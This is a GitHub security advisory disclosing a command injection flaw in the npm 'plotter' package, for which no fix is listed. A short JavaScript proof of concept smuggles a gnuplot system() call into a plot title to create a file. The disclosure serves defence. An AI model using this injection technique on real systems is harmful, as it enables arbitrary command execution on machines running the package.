GitHub Advisoryadvisory · npm
GHSA-65xx-c85x-wg76 Command Injection in plotter
CRITICAL
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- Ecosystem
- npm
- Packages
- plotter
- Severity
- Critical
- Weaknesses
- CWE-77
- Reviewed
- 2020-08-31
Affected packages
• npm plotter: >= 0.0.0 (no fix yet)
Description
All versions of `plotter` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory:
```
var plot = require('plotter').plot;
const title = 'Example "\nset title system("touch testing")#';
plot({
data: [ 3, 1, 2, 3, 4 ],
filename: 'output.pdf',
style: 'linespoints',
title: title,
logscale: true,
xlabel: 'time',
ylabel: 'length of string',
format: 'pdf'
});
```
Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
Related
Weakness · CWE (1)
- CWE-77 Improper Neutralization of Special Elements used in a Command weakness